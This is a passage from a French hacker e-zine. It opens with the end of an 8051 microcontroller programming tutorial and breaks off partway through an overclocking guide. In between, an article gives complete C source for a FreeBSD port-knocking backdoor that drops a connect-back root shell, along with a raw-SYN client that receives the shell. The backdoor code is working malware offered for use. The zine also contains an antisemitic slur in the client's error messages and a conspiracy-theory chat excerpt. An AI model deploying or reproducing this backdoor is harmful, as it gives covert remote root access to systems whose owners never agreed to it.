(LSB). On continue par la suite avec un petit délai de temps, 
puis on sort la prochaine séquence soit 0x42, qui décale
de une case vers le centre notre effet.. et ainsi de suite..

Tant que personne ne met un niveau logique 1 à la P1.0, 
le tout continue à bouger de gauche à droite. Ici
on peu brancher des leds ou encore des transistors au
pin du Atmel afin de contrôler de vraies lumières "mise
dans un bon ordre". ;)

***********************************************************/ 
void Process2(void)               
{
P1=0x00;            //Initialisation du port 1 à zéro
while (P1.0 != 1)   //Boucle tant que la pin 1 du Atmel (P1.0) est à
 {                  //pas à un niveau logique 1, (5v).
 P3=0x81;           //Le Port 3 a comme sortie sur ces 8 pins: 1000 0001 
 delay(4000);       //Call du délai de temps.
 P3=0x42;           //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
 delay(4000);       
 P3=0x24;           //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
 delay(4000);       
 P3=0x18;           //Le Port 3 a comme sortie sur ces 8 pins: 0001 1000
 delay(4000);      
 P3=0x24;           //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
 delay(4000);      
 P3=0x42;           //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
 delay(4000);      
 }
}



/********************Fonction Process3**********************
Notre troisième et dernier process inclut une condition
faisant varier la valeur du port 3 de façon croissante ou
décroissante selon la valeur d'une variable.

Si la pin 1 du Atmel (P1.0) est égal à un niveau logique 1,
soit 5v sur celle-ci, le port 3 affiche la valeur d'une
variable qui s'incrémente.

Sinon, le port 3 affiche une valeur de variable qui décrémente.
***********************************************************/
void Process3(void)               
{
unsigned char valeur=0x00; //Déclaration d'une variable de 8bits 
                           //à une valeur de départ de 0.
if (P1.0==1)               //Si la pin 1 du Atmel (P1.0) est à un
 {                         //niveau logique 1, (5v).
 while (valeur != 0xFF)    //Boucle tant que la valeur est différente
  {                        //de 0xFF, 256.
  P3=valeur;               //Le port 3 est égale à la variable.
  delay(3000);             //Call du délai de temps.
  valeur++;                //Incrémentation de la variable.
  }
 }
else                       //Si la Pin 1 du Atmel est pas égale
 {                         //à un niveau logique 1, (5v)..
 valeur=0xFF;              //Nouvelle valeur de la variable
 while (valeur != 0x00)    //Boucle tant que la valeur est pas
  {                        //rendue à zéro.
  P3=valeur;               //Le port 3 est égale à la variable.
  delay(3000);             //Call du délai de temps.
  valeur--;                //Décrément de la variable.
  }
 }
}



#pragma function = default     

--------------------------[Cut here]----------------------------


On  compile  notre code en  cliquant  sur  le  menu  Projet,  Bulld all. Ici on 
voit apparaître une box de message sur nos  erreur,  ou  notre  beau  code  qui 
marche.Le fichier une fois compiler se trouve dans le répertoire  \Debug\Exe du 
répertoire où vous avez crée votre projet. Il  nous faudra ensuite convertir le 
.hex du nom de votre  projet, en  un  .bin  et  finalement  programmer le Atmel 
AT89S8252. J'utilise personnellement un prog  appeler "Hex2Bin.exe" .. je  vous  
laisse  deviner  la  fonction  compliquer du programme ici... ensuite j'utilise 
AllowIO.exe "un programme pour envoyer du data directement par le port // ,  en  
bypassant les  restrictions  de  Windows  2k, Xp  et..."  pis  après  on run le 
"Isb_HB.exe" qui est en fait le  programme  qui s'interface avec le  Atmel pour 
le programmer.  Y'a un  txt  file  assez  complet mais simple qui vous explique 
aussi comment l'interfacer  avec  d'autres options, y'a même  un test mode pour 
voir ou que sa chie si y'a une merde.. Syntaxe facile... :

Hex2bin test.hex test.bin
AllowIO 0x378 isp_hb.exe /LPT1 /erase test.bin

Ici  je  vous  laisse  lire  les .txt de  chaque   programme  pour    plus   de 
fonctionnalités..  car  y en  a  de  tous les genres...;) Mais on voit bien que 
j'"allow"  le prog ISB_HB à utiliser mon  port  parallèle "adresse 0x378", avec 
comme consigne  d'écrire  dessus  "LPT1",  d'effacer  ce  qui  avait comme code 
avant"/erase", pis à remplacer  le tout par mon code "test.bin"

Une  fois programmé,  on  place  le  microcontrôleur   dans   son   milieu   de 
développement, on active le RESET du microcontrôleur affin de le reseter sur le 
nouveau code à l'intérieur et  on  devrait  observer  ce  que  nous  espérions, 
encore une fois si le code a  bien  été  interprété. Sinon passons à la section 
suivante HOW TO DEBUG A CODE... et si tout va  bien, passons  tout de même à la 
section suivante.

Pour débuguer un code avec IAR, on doit:
 - Allez  dans  le  menu  Projet,  choisir  Option, sélectionner XLINK, dans la 
   partie Format on sélectionne Debug info, on clique sur Ok.
 - On retourne à notre menu Project et on choisis Debugger.  Rendu  la  on a un 
   nouveau programme qui s'ouvre  avec  notre code qui passe sour un highlight.
 - On se sert du menu Exécute et des options qui a la pour  voir  ce  que notre 
   code fait step by step, on a aussi les  mêmes options dans la barre de menu.

Si on débug notre code par exemple, on choisis  de faire  F3  (step  into) pour 
rentrer dans notre process  numéro 1.  On voit donc  que l'on cast une variable 
et on y met la valeur  0x00 à l'intérieur. Ensuite on rentre  dans le while. On 
vois le port 1 se  mettre à la "valeur" de la variable,  ensuite  on  fait  F2, 
juste Step,  pour pas rentrer  inutilement  dans  une  fonction de délais ou un 
compteur va décroître (c'est juste long  et  plate  peser  65534  fois  sur  un 
bouton..) On continue donc à  faire avancer notre  code  avec F2, et on se rend 
compte que boucler 256 fois c'est  pas  mieux  non  plus, donc  on  va voir les 
variables directement :) Pour se faire on va dans  le  menu Control, on choisis 
QuickWatch. Ici on devrait voir une box apparaître ou notre variable se trouve, 
avec une  valeur  peu  élever..  écrite en décimal, on clique sur le bouton Add 
watch,et on a notre valeur dans une box qui spy nos  variables, on peut changer  
leurs  valeurs en hexadécimal ou en binaire   en  cliquant  "bouton de  droite"  
sur notre variable,  on va  dans les propriétés et on change  le Display Format 
par ce qu'on veut. Si  on continue à exécuter virtuellement  notre code (F2) on  
voit  la  valeur  augmenter.  On   peut  aussi  changer carrément la valeur  de 
celle-ci  en cliquant  encore sur  notre  variable  "bouton de droite",  on  va 
dans propriété et on change la valeur dans la partie Value. Encore une fois  un  
truc  pratique pour éviter les boucles  répétitives  inutiles.  On  peut  aussi  
simplement faire "bouton de droite" sur le nom de notre variable à  l'intérieur 
de notre code pour  ajouter un watch sur une variable.

Si  on  continue en  entrant dans  notre Process numéro 2, on peut déjà ajouter 
des watchs sur nos valeurs  du  port 1 et 3 (P1,P3).  Si  on met l'affichage de 
ces  deux valeurs  en  binaire,  on voit bien  ce  que  la fonction s'exécuter. 
Si on veut sortir de cette boucle,  et  faire  comme  si  on appliquerais  un 1 
logique  au signal P1.0,  on a qu'à  appliquer  une  valeur logique 1 au bit le 
moins significatif de la valeur de P1, par exemple:
0x01 (hexa) --> 0000 0001 (bin).

Pour ce qui est du Process numéro 3, on peut très bien voir que  dans  un  cas, 
la valeur du port incrémente, et dans l'autre cas il décrémente, la méthode des 
spy de variable, ainsi que la manipulation de  leurs  valeurs  aide  beaucoup à 
comprendre la logique  derrière  le  code....  en  fait  sa  l'aide  surtout  à 
trouver les bugs de logique derrière le code :)

Comme chaque code a sont lot de bug, je serais bien mal placer pour vous dire à 
l'avance qu'elle est le votre.. mais avec expérience, s'il  s'agit bel et  bien 
d'un bug de logique, on le trouve assez bien avec cette outil.

Oubliez pas de remettre dans IAR, Projet, Option, XLINK, votre  Format à Other, 
mpds-i. Sans sa vous aurez pas vos .hex quand vous voudrez compiler.

Pour finir, y'a beaucoup de possibilités de code qu'on peut crée avec  ce  type 
de microcontrôleur. Ici les exemples était assez pour débutant.  Mais  on  peut 
facilement contrôler un LCD ou d'autre périphériques de  contrôle avec, et ce à 
une vitesse incroyable. A suivre dans le prochain Zine  :). Une autre technique 
de montage  pourrait  fort  bien  être utilisé  pour  des avantages quelconque, 
l'utilisation d'un Atmel SOCI (c'est-à-dire beaucoup plus  petit,  et fait pour 
le surface mount) serait un choix judicieux  pour  la  gestion  de  l'espace du  
circuit.  Avec les moyen du  bord soit,  j'ai réussi à me builder un circuit de 
test aussi gros  qu'un  macaron  (pille  incluse).. Je  sais  c'est  pas encore 
invisible,  mais putin c'est un board de test.. y'a sûrement  moyen  d'ailleurs 
de  réduire le circuit (to be continue in an other kewl Zine...??) Enfin, cette  
méthode  se  monte aussi plutôt bien, bien  qu'elle nécessite un  peu  plus  de 
skill en  soudure.. mais rien d'impossible je vous assure.

[IMG-18] Image du AT89S8252 SOCI, sur un board plus petit.

C'est  déjà  tout pour cette intro au microcôntroleur,probablement que dans  le 
prochain  e-zine  je  vais  pousser  plus loin les possibilités de  ce  type de 
contrôle, avec des périphériques et des codes plus complexes. D'ici la have fun 
with expérimentation.

                                Qwzykx, the almost life in a box teacher.
                                
                                

                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr un endroit digne remplis de gentlemen    \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<Wz0Ds> jétais pas 300 sur le x ?                                      ]=--[~~]----|
|      [<Wyzeman> jsais meme pas t qui                                         ]    \/     | 
       [<Wz0Ds> add moi, jsuis wz0ds                                           ]           | 
|      [<Wz0Ds> le takeur de #rectum-crew par exellence                        ] Gravity
|      [<Wyzeman> hum, c dejas plus amusant                                    ] always               
|      [<Wz0Ds> www.wz0ds.cc/index.pl?section=news                             ] wins      |  
       [<Wyzeman> ba, on peu pas dire que tu veux pas                          ]           | 
       [<Wz0Ds> qu'est-ce tattend pour me addé?                                ]           |  
|      [<Wyzeman> ca depend, jai pas encore compris si tessaye de me faire peur]               
|-[~]-=[ou de mimpressionner                                                   ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ The real slim portknocker           ]=------+---------------------------=[06]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Phawnky   ]=-|
| //                                                                                       |
| L\:-=[Ak : aussi disponible en hot wheel              ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


    Aucune  méthode  d'authentification  est infaible, que ça  soit  les  tests 
biometrique, genre ceux qui marche avec les empruntes  digital, ou la retine...
ouaip les même que Wesley Snipes dejou  dans demolition man en arrachant l'oeil 
d'un  gars. Ou les usernames/pass  qui  sont  previsible,  extrapolable,  brute 
forceable, voir même extorcable  avec  un  regard  méchant  et  un  plunger   a 
toilette, bref you get the idea...

Le  but  de  tout mécanisme d'authentification sophistiquer est de minimise  le 
plus possible la quantité de personne qui soit apte a contourner ce dernier. En 
utilisant  des  contraintes;  psychologique  (exemple  les cadenas que hacktoad 
ouvre  en  .00001  secondes),   physique  (qui  demande  d'arracher  l'oeil  de 
quelqu'un) ou au niveau du traitement/probabilité (Genre les private keys RSA).

Il  y  a une méthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...)
que wyzeman a effleure dans le dernier zine qui a sucite mon intérêt  y'a  plus 
ou moins  un ans, alors que je suis tomber par hasard sur le site de phenolite.
et que j'ai vu cd00r.c, leur port knocker backdoor.

Si  vous  s'avez  pas  c'est  quoi un port knocker et que vous êtes des putains 
de  lopettes   paresseuse  (comme  moi)  je vais le résumer très vite: Imaginer 
une box, avec  toute  ses  ports  closed,  qui sniff toute le incoming/outgoing  
traffic au raw socket level, et finalement regarde le destination port. En bref  
c'est  ça.  Quand  un  host  trigger   un   nombre  X  de  port  dans  un  orde 
pre-determiné,  bingo  yer  authentifier... la puissance de ce mécanisme réside 
dans le nombre X de port. qui  pourrait être 42 ou encore le nombre d'asiatique 
sur terre, ça et le  nombre  de  port  qu'il  y  a  sur  une box, soit 2^16. Un 
Rappelle sur les probabilité:

   (2^16)^X = nombre de combinaison possible.

Je  trouves  ce  système la, comme tel, déjà bon. Mais comme |R ma fait réalise 
que si y'avait quelqu'un qui sniffait le traffic et que la  port knock séquence 
restait toujours la même,  jme  ferais  fourrer  comme  une  vierge saoule a un 
after-graduation party. Il m'a donc, suggéré d'implémenter un truc similaire au 
one-time-pass ( man  skeys, si vous savez pas c'est quoi) que j'ai pas vraiment 
eut le  temps de finalise...que je nommes one-time-  knock...wo0...original. Je 
me sers de BPF dans mon code, mais ça devrait être plutôt facile a porter.

Treves  de  détails inutile, si vous voulez la base d'un port knocker daemon et 
gosser avec ça vous aussi, durant une nuit, avec une bouteille de vodka,  après
avoir été mal baiser, pour vous remonter le moral, voici le code server/client:

 /* 
 \   Fbsd Portknock Daemon by phawnky
 /   
 \   Based on cd00r.c by FX of phenoelit.de  
 /
 \   This is a non listening connect-back rootshell dropping backdoor.
 /   To trigger it, you just need to send SYN flagged packets to the host running this
 \   on the port sequence you choose. Anything doing a connect() definatly would work, 
 /   but as an exercise I made a client for it: portknock-client.c   
 \    
 /   TODO:
 \           - SENDER based hash table, containing which step is completed individually.
 /           - Add One Time Knock support/list generation (credit goes to |R for the idea.)
 \           - Mmmm...test it on fbsd 5.X
 /           - Port it to linux
 \           - Make an open-pam module of it
*/
 
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <netinet/in_systm.h>
#include <net/bpf.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <ifaddrs.h>
#include <netdb.h>
#include <signal.h>

// Configs
#define VERBOSE      1          // don't want any outputs? use 0
#define INTERFACE    "ste0"     // use your external interface for this.
#define CONBACK_PORT 4455       // connect back port...yeah
#define MAX_PORT     65535
#define SEQUENCE_LEN 10

// Prototypes
void connectback(char *dest, int port);
unsigned int **get_next_knock(int max, int num);

int main() 
{
   int i, fd, flag, n_read, bsize, cport, mport;
   unsigned int offset = 0xe;
   struct bpf_hdr *header;
   struct ifreq ifr;
   struct ip *iph;
   struct tcphdr *tcph; 
   char *buf;
   char device[sizeof "/dev/bpf0"];
   char sender[sizeof "999.999.999.999"];
   #fresh
   unsigned int **knock;
     
   // Root user check
   if (getuid()) {
      if (VERBOSE)
         fprintf(stderr, "[-] You need root to snort like a man!\n");#fresh
      exit(-1);
   }  
   
   // looking for an openable bpf.
   for(i=0; i < 5; i++)
   {
     sprintf(device, "/dev/bpf%d", i);
     fd = open(device, O_RDONLY);
     if(fd == -1 && errno == EBUSY) // Busy...
        continue;
     else  // Success, Failure, Not enough priviledges.
        break;
   }  
  
   if (fd == -1) {
      if (VERBOSE)
         printf("[-] All bpf devices tested (0-4) are busy, or non-existent.\n");
      exit(-1);
   } else {
      if (VERBOSE)
         printf("[+] %s isn't busy...\n", device);
   }  
     
   // getting packet size 
   if (ioctl(fd, BIOCGBLEN, &bsize) < 0) {
     perror("[-] BIOCGBLEN()");
     exit(-1);
   }
   
   buf = (char*)malloc(bsize);
   if (!buf) {
      if (VERBOSE)
         fprintf(stderr, "[-] Can't malloc() %d bytes.\n", bsize);#fresh
      exit(-1);
   }

   // bind to an interface 
   strncpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name)-1);
   ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
   if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1) {
     if (VERBOSE) 
        perror("[-] BIOCSETIF()");
     exit(-1);
   } else {
     if (VERBOSE)
        printf("[+] %s bound to %s\n", device, INTERFACE);
   }
  
   // get data immediatly
   flag = 1;
   if (ioctl(fd, BIOCIMMEDIATE, &flag) < 0) {
     perror("BIOCIMMEDIATE()");
     exit(-1);
   } 
  
   // Setting up sequence
   knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
   mport = SEQUENCE_LEN;
   cport = 0;
       
   // Infinity starts here.
   while(1) 
   {
      bzero(buf, bsize);
      n_read = read(fd, buf, bsize);
      if (n_read == -1 ) {
         if (VERBOSE)   
            perror("[-] read()");
         exit(-1);
      } else {
         header = (struct bpf_hdr *) buf;
         iph = (struct ip *)(buf + header->bh_hdrlen + offset);
        
         // This is where the tests begins#fresh
         if (iph->ip_v == 4 && iph->ip_p == 6) {  // IPv4 && TCP/IP packet, look'n good. 
            tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hl<<2));
            if (  (tcph->th_flags & TH_SYN) &&    // SYN is good
                ! (tcph->th_flags & TH_ACK) &&    // no ack
                ! (tcph->th_flags & TH_RST) &&    // no rst
                ! (tcph->th_flags & TH_URG) &&    // no urg
                ! (tcph->th_flags & TH_FIN)) {    // no fin

               if (htons(tcph->th_dport) == *knock[cport]) { // Port match
                  if (cport == 0) 
                     strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1);
                  
                  // Making an hash table based on hosts
                  // Would make this MUCH more reliable.
                  if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) {
                     if (VERBOSE)
                        printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", 
                               inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]);
                     cport = 0;
                     continue;                   
                  } else { // same sender
                     if (VERBOSE)
                        printf("[+] %s - Knock #%d [%d/%d] - Accepted\n", 
                               inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]);
                     if (++cport == mport) { // end of knock sequence reached
                        cport = 0;
                        // Getting next knock sequence
                        free(knock);
                        knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
                        sleep(1);                  
                        // Dropping shell
                        connectback(inet_ntoa(iph->ip_src), CONBACK_PORT);                        
                     }
                     continue;   
                 }
               } else { // Port dosen't match
                  if (VERBOSE) 
                     printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", 
                            inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]);
                  cport = 0;
                  continue;                    
               }          
            } // Flag's test failed
         }    // IP version, or protocol type failed
      }       // read() didn't fail o_O
   }          // while(1)
}             // main()


void 
connectback(char *dest, int port)
{
   struct sockaddr_in sin;
   int s, i;  
   int pid;
   
   sin.sin_family = AF_INET;
   sin.sin_port = htons(port);
   sin.sin_addr.s_addr = inet_addr(dest);
   
   s = socket(AF_INET, SOCK_STREAM, 0);
   if (s < 0 || (connect(s, (struct sockaddr *) &sin, sizeof(sin))) < 0) {
      perror("[-] connect()");
      return;
   }
   
   if (VERBOSE)
      printf("[+] Connected to %s:%d, dropping shell!\n", dest, port);
   
   if(!fork())
   {
      for(i=0; i < 3; i++)
         dup2(s, i);
          
	   send(s, "[ r00t! ]\n", sizeof("[ r00t! ]\n"), 0);
      execl("/bin/sh", "kewt", 0x00);
      exit(0);          
   }   
   close(s);	
}   
   
unsigned int **get_next_knock(int max, int num)
{
   int i;
   unsigned int **knock;
   
   srand(time(0x00));
   
   knock = malloc(sizeof(unsigned int *));
   for(i=0; i <= num; i++)
      knock[i] = malloc(sizeof(unsigned int) * num);
      
   for(i=0; i < num; i++)
      *knock[i] = (rand() % max) + 1;
   *knock[i] = 0x00;
   
   // Display
   printf("[+] Next knock: ");
   for(i=0; *knock[i]; i++)
      printf("%d ", *knock[i]);
   printf("\n");   
   
   return knock;      
}   
   
   
 /*
 \      PortKnock Client [works on Fbsd 4.X]
 /      It's just a SYN packet crafter... 
 \      
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#define SRC_PORT 1337
#define CONBACK_PORT 4455

//Prototype
void usage(char *prog);
int listen_cb(int port);
int shell(int sockfd);

int main (int argc, char *argv[]) 
{
   int s, i, pcount, one=1;
   int *val = &one;
   char datagram[4096]; 
   char pseudohdr[1024];
   struct ip *iph = (struct ip *) datagram; 
   struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
   struct sockaddr_in sin;
   
   int tcphdr_size = sizeof(struct tcphdr);
   
   if(argc < 2) 
      usage(argv[0]);
   
   if(getuid()) {
      fprintf(stderr, "[-] getuid(): Raw socket operations need uid 0.\n");
      exit(-1);
   }
   
   if(!gethostbyname(argv[1])) {
      fprintf(stderr, "[-] gethostbyname(): Invalid host: %s\n", argv[1]);
      exit(-1);
   } 
   
   for(pcount = 0; argc > 2; argc--)
      pcount++;
   
   for(i=0; i < pcount; i++)
   {
      s = socket (PF_INET, SOCK_RAW, IPPROTO_IP); 

      sin.sin_family = AF_INET;
      sin.sin_port = htons(atoi(argv[i+2]));
      sin.sin_addr.s_addr = inet_addr(argv[1]);
      bzero(datagram, sizeof(datagram)); 

      iph->ip_hl = 5;
      iph->ip_v = 4;
      iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); 
      iph->ip_id = htons(31337);
      iph->ip_ttl = 250;
      iph->ip_p = 6;
      iph->ip_src.s_addr = INADDR_ANY;
      iph->ip_dst.s_addr = sin.sin_addr.s_addr;
      tcph->th_sport = htons(SRC_PORT); 
      tcph->th_dport = htons(atoi(argv[i+2])); 
      tcph->th_seq = htonl(31337);
      tcph->th_off = sizeof(struct tcphdr)/4; 
      tcph->th_flags = TH_SYN; 
      tcph->th_win = htons(57344); 
  
      if (tcphdr_size % 4 != 0) 
        tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
   
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
         fprintf(stderr, "[-] setsockopt(): Can't set HDRINCL!\n");
         exit(-1);
      }
   
      if (sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) < 0) {
         perror ("sendto");
         exit(-1);
      }
      printf("%s:%d -SYN-> %s:%d\n", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2]));      
   } // for()
   listen_cb(CONBACK_PORT);
}

void
usage(char *prog)
{
  printf("Correct usage:\n"
         "--------------\n\n"
        "%s <host> <port1> <port2> ... <portn>\n", prog);
  exit(-1);
}


int 
listen_cb(int port)
{
   
   struct sockaddr_in sout;
   int s, client, sz_client;
      
   bzero(&sout, sizeof(sout));
   sout.sin_family = AF_INET;
   sout.sin_addr.s_addr = INADDR_ANY;
   sout.sin_port = htons(CONBACK_PORT);
   
   s = socket(AF_INET, SOCK_STREAM, 0);
   if (s < 0) {
      perror("socket()");
      exit(-1);
   }
   
   if (bind(s, (struct sockaddr *) &sout, sizeof(sout)) < 0) {
      perror("[-] Bind()");
      exit(-1); 
   }   

   if (listen(s, 2) < 0) {
      perror("[-] Listen()");
      exit(-1);
   }
   
   client = accept(s, 0x00, 0x00);
   
   if (client > 0) {
      printf("[+] Got shell...dropping it!\n");
      shell(client);
   }      
   
   return(0);
}
   
// Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good.
int 
shell(int sockfd)
{    
   char rb[1500];
   fd_set  fdreadme;
   int i;
   
   FD_ZERO(&fdreadme);
   FD_SET(sockfd, &fdreadme);
   FD_SET(0, &fdreadme);
   
   while(1) 
   {
      FD_SET(sockfd, &fdreadme);
      FD_SET(0, &fdreadme);
      if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
      if(FD_ISSET(sockfd, &fdreadme)) 
      {
         if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
         {
            printf("[-] Connection Terminated by jew!\n");
            exit(1);
         }
         if(write(1, rb, i) < 0) break;
      }
      if(FD_ISSET(0, &fdreadme)) 
      {
         if((i = read(0, rb, sizeof(rb))) < 0)
         {
            printf("[-] Connection Terminated by jew!\n");
            exit(1);
         }
         if (send(sockfd, rb, i, 0) < 0) break;
      }      
   }
   printf("[-] Connection closed by foreign host..\n");

   exit(0); 
}



                                                            Phawky



                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, c'est aussi....binf                     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (beware of the stonecutters)                                          '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<binf> ecoute dit toi que si ca passe a radio canada c'est approuver   ]=--[~~]----|
|      [par des conseils masonique.                                            ]    \/     | 
       [<binf> enfait quasi tout ton information est controler ou              ]           | 
|      [scruter/aprouver par des masson                                        ] Statistics
|      [<binf> http://pages.infinit.net/fmmtl/                                 ] are used 
|      [<binf> http://www.francmaconnerie.ca/                                  ] by people |  
       [<binf> derriere chaque divertissement                                  ] who have  | 
       [<binf> ya dla massonerie                                               ] no proof  |  
|      [<binf> surtout en amerique du nord ou la massonerie est hyper rependue ]               
|-[~]-=[<hktoad> y'a tu de la massonerie derrière ta propagande                ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ Overclocker sont Hardware           ]=------+---------------------------=[07]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Spider    ]=-|
| //                                                                                       |
| L\:-=[Ak : scoty il nous faut plus de puissance!!!    ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Moi j'me dit qu'un ordi c'est comme un char dans le fond. Y'en a qui paye  cher 
pour avoir un bon char, y'en a qui paye cher pour mettre des néons pi des trucs 
pour flasher, et y'en a qui modifie le moteur  avoir plus de performance. Nous, 
on modifie la vitesse à laquelle nos périphériques  fonctionnent.  Avec  un bon 
overclocking stable, il est  possible  d'obtenir  un  gain de performance asser 
important, entre 20%  et 35%. Par contre, avec un overclocking extrême, on peut 
aller chercher un gain de performance beaucoup plus élevé soit 50%, 60%, 70% et 
parfois  plus.  Pour  des  raisons  monétaires et parce qu'on veut garder notre 
hardware le plus longtemps possible, je vais me contenter de vous  expliquer la 
base de l'overclocking. À part la performance, il a  plusieurs autres avantages 
à  l'overclocking,  Ca  va  entre  autres vous  permettre de connaître beaucoup 
mieux le fonctionnement au niveau  hardware  de votre ordi. Mais la vrai raison 
pourquoi c'est cool d'over-clocker  c'est  que sa fait toujours élite de parler 
de tsa à vos amis...


				...tsé genre "i'm l33t motherfucker"




**** L'overclocking annule théoriquement les garanties. Allez y
**** donc avec modération pour ne pas faire griller vos périphériques.
	

  Pour commencer, une chose importante et malheureusement souvent négligée pour 
tout pc, même si on ne prévoit pas d'overclocker c'est le case. Il vous faut un 
bon boîtier performant qui  va  permettre  un  bon  flow  d'air,  qui  va  être 
pratique, grand, solide, facile d'accès, jolie,  avec  une  statuette en bronze 
représentant une danseuse hawaiienne sur le  dessus (pour la chance). Plusieurs 
cases sont très bien cotés, entre autre ceux  de  ANTEC.  Pour  de  plus amples 
informations, consulter le site suivant:

---> http://www.antec.com/us/pro_enclosures.html
     ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯


1. CPU OVERCLOCKING

  Ensuite on overclock... pratiquement la totalité des cartes mères disponibles 
de nos jours possèdent les options pour clocker sont  système manuellement dans 
le bios. Par contre certains systèmes sont bloqués et on ne peu pas changer les 
settings comme on le veut. Il faut  parfois faire des modifications physiques à 
sont hardware comme relier des circuits ou souder des ponts pour les débloquer. 
Pour savoir ça  il  n'a  qu'une solution et c'est d'aller rechercher sur le net 
des  review  d'autres  personne  qui  ont  déjà  overclocké  le  même hardware. 
Maintenant on commence avec les 2 settings  qui  vont  influencer  le  plus  la 
vitesse de votre pc et avec lesquelles on peut jouer.


CPU External Frequency aka Front Side Bus(FSB):
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Le fsb est le bus de donné qui transert le data du processeur à la  mémoire  et 
l'inverse( en gros ). Donc la vitesse du fsb change beaucoup  les  performances 
du pc. Le CPU External Frequency, quant à lui, c'est  la  vitesse à laquelle le 
cpu va pitcher le data dans le front side bus.

CPU Frequency Multiple aka CPU Frequency Multiple:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
C'est ce chiffre là qui, une fois multiplié avec la fréquence du processeur, va 
donner la vitesse à laquelle le processeur va runner.  Exemple:  ta un cpu ext. 
freq. à 210 mhz et un multiplicateur à 9.5 ben  ton processeur va rouler à 1995 
mhz ~2.0 ghz. 


  Maintenant, c'est ben l'fun modifier ces settings là dans le  bios  mais  qui 
dit overclocking dit dégagement de chaleur  important  donc  c'est  là  que  le 
cooling entre en jeu. Pour cooler efficacement et à prix raisonnable un  cpu je 
recommande les heatsink ZALMAN. Ils sont très efficaces et très silencieux.

---> http://www.zalmanusa.com/usa/product/code_list.asp?cate=03040506
     ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

  Il est important aussi d'appliquer de la pâte thermique. Cette  pâte  a  pour 
but de combler toutes irrégularités sur la surface du cpu  et  du  heatsink  de 
façon à ce que le contact entre les deux soit parfait, ce qui permet un échange 
de chaleur optimal. Il n'a pas vraiment de qualité pour la pâte  thermique mais 
on entend souvent dire que la arctic silver 5 est la meilleur.

  Asteur le principe de base de l'overclocking est de premièrement  baisser  le 
un peu multiplicateur et monter la fréquence du cpu de 5 mhz  graduellement  de 
façon à trouver la plus haute fréquence qui est supporté par vos composant.  Si 
votre  pc  ne  démarre  pas,  c'est  soit  que la fréquence n'est carrément pas 
supporter par votre hardware ou soit que le CPU  manque de jus. Dans le premier
cas, suffit de débrancher l'alimentation et d'attendre quelques  secondes  pour 
